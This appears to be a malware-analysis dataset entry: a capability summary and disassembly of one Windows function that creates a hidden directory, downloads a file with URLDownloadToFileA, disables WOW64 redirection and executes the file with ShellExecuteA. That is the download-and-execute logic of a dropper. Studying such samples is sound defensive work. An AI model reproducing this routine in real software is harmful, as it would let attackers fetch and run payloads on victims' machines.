Function at 0x403c40
Capabilities:
Create directory
Create process on windows
Download url
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45bc5e
mov eax, dword fs:[0]
push eax
sub esp, 0xc4
mov eax, dword [0x478080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x94], edi
mov dword [ebp - 0x8c], edi
mov dword [ebp - 0x8c], edi
mov dword [ebp - 4], 0
call fcn.00403230
mov esi, eax
mov edx, esi
mov dword [ebp - 0x8c], esi
call fcn.00406b60
mov ecx, esi
call fcn.00403620
test al, al
jne 0x403cb9
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [ebp + 0x1c]
xorps xmm0, xmm0
mov dword [ebp - 0xb0], 0
movups xmmword [ebp - 0xac], xmm0
mov dword [ebp - 0x9c], 0
lea edx, [eax - 4]
mov dword [ebp - 0x98], 0
cmp eax, edx
jb 0x404173
sub eax, edx
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [ebp + 0x20], 0xf
lea eax, [ebp + 0xc]
cmova eax, dword [ebp + 0xc]
push ecx
add eax, edx
lea ecx, [ebp - 0xb0]
push eax
call fcn.004073d0
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 1
call fcn.00403340
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 2
call fcn.00406e30
add esp, 4
mov esi, eax
lea eax, [ebp - 0xb0]
mov byte [ebp - 4], 3
cmp esi, eax
jne 0x403d87
push str.You_cannot_concatenate_the_same_moved_string_to_itself._See_N4950__res.on.arguments__1.3:_If_a_function_argument_is_bound_to_an_rvalue_reference_parameter__the_implementation_may_assume_that_this_parameter_is_a_unique_reference_to_this_argument__except_that_the_argument_passed_to_a_move_assignment_operator_may_be_a_reference_to_this___lib.types.movedfrom__.
push 0x472c24
push 0
push 0x1394
push 0x4735f8
push 2
call fcn.00417980
add esp, 0x18
cmp eax, 1
jne 0x403d69
int3
push 0
push 0x1394
push str.C:Program_FilesMicrosoft_Visual_Studio2022CommunityVCToolsMSVC14.40.33807includexstring
push 0x472d54
push str._You_cannot_concatenate_the_same_moved_string_to_itself._See_N4950__res.on.arguments__1.3:____If_a_function_argument_is_bound_to_an_rvalue_reference_parameter__the_implementation_may_assume_that____this_parameter_is_a_unique_reference_to_this_argument__except_that_the_argument_passed_to____a_move_assignment_operator_may_be_a_reference_to_this___lib.types.movedfrom__._
call fcn.00418230
add esp, 0x14
lea eax, [ebp - 0xb0]
push eax
push esi
push dword [ebp - 0x94]
lea ecx, [ebp - 0x6c]
call fcn.00408940
lea ecx, [ebp - 0x34]
call fcn.00405900
mov eax, dword [ebp - 0x34]
push 8
push eax
mov dword [ebp - 0x34], 0
call fcn.00411200
add esp, 8
lea ecx, [ebp - 0xd0]
call fcn.00405900
mov eax, dword [ebp - 0xd0]
push 8
push eax
mov dword [ebp - 0xd0], 0
call fcn.00411200
add esp, 8
lea ecx, [ebp - 0xb0]
mov byte [ebp - 4], 7
call fcn.00405900
mov eax, dword [ebp - 0xb0]
push 8
push eax
mov dword [ebp - 0xb0], 0
call fcn.00411200
mov eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x68]
sub esp, 8
cmp dword [ebp - 0x54], 0xf
mov esi, esp
cmova ecx, dword [ebp - 0x68]
add eax, ecx
lea ecx, [ebp - 0x18]
push 3
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], eax
call fcn.00409470
mov ecx, dword [ebp - 0x6c]
mov eax, dword [esi]
mov dword [ebp - 0x14], ecx
cmp eax, ecx
je 0x403e5b
test eax, eax
je 0x403e50
mov ecx, esi
call fcn.00401a10
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
mov dword [ecx + 4], esi
mov dword [esi], ecx
lea ecx, [ebp - 0x18]
call fcn.00409520
sub esp, 0xc
lea eax, [ebp - 0x68]
cmp dword [ebp - 0x54], 0xf
lea ecx, [ebp - 0x14]
mov esi, esp
cmova eax, dword [ebp - 0x68]
push 3
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], eax
call fcn.00409470
mov ecx, dword [ebp - 0x6c]
mov eax, dword [esi]
mov dword [ebp - 0x18], ecx
cmp eax, ecx
je 0x403eb2
test eax, eax
je 0x403ea7
mov ecx, esi
call fcn.00401a10
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
mov dword [ecx + 4], esi
mov dword [esi], ecx
lea ecx, [ebp - 0x14]
call fcn.00409520
lea ecx, [ebp - 0x88]
call fcn.00406860
mov byte [ebp - 4], 8
lea eax, [ebp - 0x84]
cmp dword [ebp - 0x70], 7
mov esi, dword [ebp - 0x8c]
cmova eax, dword [ebp - 0x84]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x14], eax
call fcn.004049a0
push 0
push 0
mov byte [ebp - 4], 9
lea eax, [ebp - 0x4c]
push dword [ebp - 0x14]
cmp dword [ebp - 0x38], 0xf
cmova eax, dword [ebp - 0x4c]
push eax
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp dword [ebp - 0x38], 0xf
lea esi, [ebp - 0x4c]
mov ecx, 0x479270
cmova esi, dword [ebp - 0x4c]
mov edx, esi
call fcn.00406f60
cmp dword [ebp + 0x20], 0xf
lea eax, [ebp + 0xc]
push 0
cmova eax, dword [ebp + 0xc]
push 0
push esi
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov eax, dword [ebp + 0x1c]
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0
lea edx, [eax - 4]
mov dword [ebp - 0x1c], 0
cmp eax, edx
jb 0x404178
sub eax, edx
mov ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [ebp + 0x20], 0xf
lea eax, [ebp + 0xc]
cmova eax, dword [ebp + 0xc]
push ecx
add eax, edx
lea ecx, [ebp - 0x34]
push eax
call fcn.004073d0
lea ecx, [ebp - 0x34]
call fcn.00406ae0
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x8d], al
call fcn.00405900
mov eax, dword [ebp - 0x34]
push 8
push eax
mov dword [ebp - 0x34], 0
call fcn.00411200
add esp, 8
cmp byte [ebp - 0x8d], 0
je 0x404017
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x8c], 0
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
push 0
push 0
push 0
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x4040b0
call fcn.00403230
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
mov edi, eax
push edi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x34]
mov esi, eax
call fcn.004049a0
push 0
push 0
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x30]
cmp dword [ebp - 0x1c], 0xf
push esi
cmova eax, dword [ebp - 0x30]
push eax
push 0xffffffffffffffff
push edi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp dword [ebp - 0x1c], 0xf
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x4c]
cmova edx, dword [ebp - 0x30]
cmp dword [ebp - 0x38], 0xf
cmova ecx, dword [ebp - 0x4c]
push ecx
call fcn.00402a90
add esp, 4
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x34]
call fcn.00405900
mov eax, dword [ebp - 0x34]
push 8
push eax
mov dword [ebp - 0x34], 0
call fcn.00411200
mov edi, dword [ebp - 0x94]
add esp, 8
xorps xmm0, xmm0
mov dword [edi], 0
push 4
movups xmmword [edi + 4], xmm0
push str.Work
mov ecx, edi
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
call fcn.004073d0
lea ecx, [ebp - 0x50]
call fcn.00405900
mov eax, dword [ebp - 0x50]
push 8
push eax
mov dword [ebp - 0x50], 0
call fcn.00411200
add esp, 8
lea ecx, [ebp - 0x88]
call fcn.00405820
mov eax, dword [ebp - 0x88]
push 8
push eax
mov dword [ebp - 0x88], 0
call fcn.00411200
add esp, 8
lea ecx, [ebp - 0x6c]
call fcn.00405900
mov eax, dword [ebp - 0x6c]
push 8
push eax
mov dword [ebp - 0x6c], 0
call fcn.00411200
add esp, 8
lea ecx, [ebp + 8]
call fcn.00405900
mov ecx, dword [ebp + 8]
push 8
push ecx
mov dword [ebp + 8], 0
call fcn.00411200
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004111f0
mov esp, ebp
pop ebp
ret
call fcn.00406660
call fcn.00406660
int3